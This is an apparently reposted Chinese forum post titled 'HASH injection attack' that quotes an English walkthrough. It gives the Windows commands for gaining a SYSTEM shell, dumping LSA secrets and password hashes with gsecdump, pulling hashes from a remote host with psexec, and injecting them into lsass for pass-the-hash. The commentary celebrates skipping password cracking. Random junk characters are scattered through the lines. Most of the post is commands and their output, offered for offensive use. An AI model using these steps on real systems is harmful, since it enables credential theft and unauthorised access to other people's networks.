HASH注入式攻击

admin

o get a DOS Prompt as NT system:
, m  u1 i" ?; I0 i1 E9 _( b
/ f) E# m( C( P) m7 G0 ^C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
0 {7 x( C% x. X! }& _5 \% \
C:\>sc start shellcmdline
9 D' p+ U. ]# g# _4 }2 N[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
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: |: }& N2 T! [& P8 }& xC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

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Then in the new DOS window:

) h- ]4 o; W# r6 B) W- y, c* JMicrosoft Windows XP [Version 5.1.2600]
: k' M* V! y; w. Y(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
$ o) }8 Q2 O) A4 }NT AUTHORITY\SYSTEM
9 V2 D' a/ C3 p! B5 d6 {$ ^  _7 E) N9 w
C:\WINDOWS\system32>gsecdump -h
: t3 ^: z, ~$ A& `* J0 P8 z/ pgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
3 F2 z4 g' q( u0 M0 Y, yusage: gsecdump [options]
/ T" F7 W$ x: \% g9 N1 x
8 [8 _" k8 ]* P' k' soptions:
" {7 \, \7 Z' C0 W) Y% }1 n-h [ --help ] show help
-a [ --dump_all ] dump all secrets
* |  \* [  i" r3 ~2 Z-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

) D# R; z. {1 |* J; f: CPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

4 N% a# x' r/ \$ h3 nC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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to get the hashes from active logon sessions of a remote system.
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These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
- U$ h: \# f* c7 f' `' N- x
! ?2 E# I- O7 \- \6 r0 o1 K: a提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。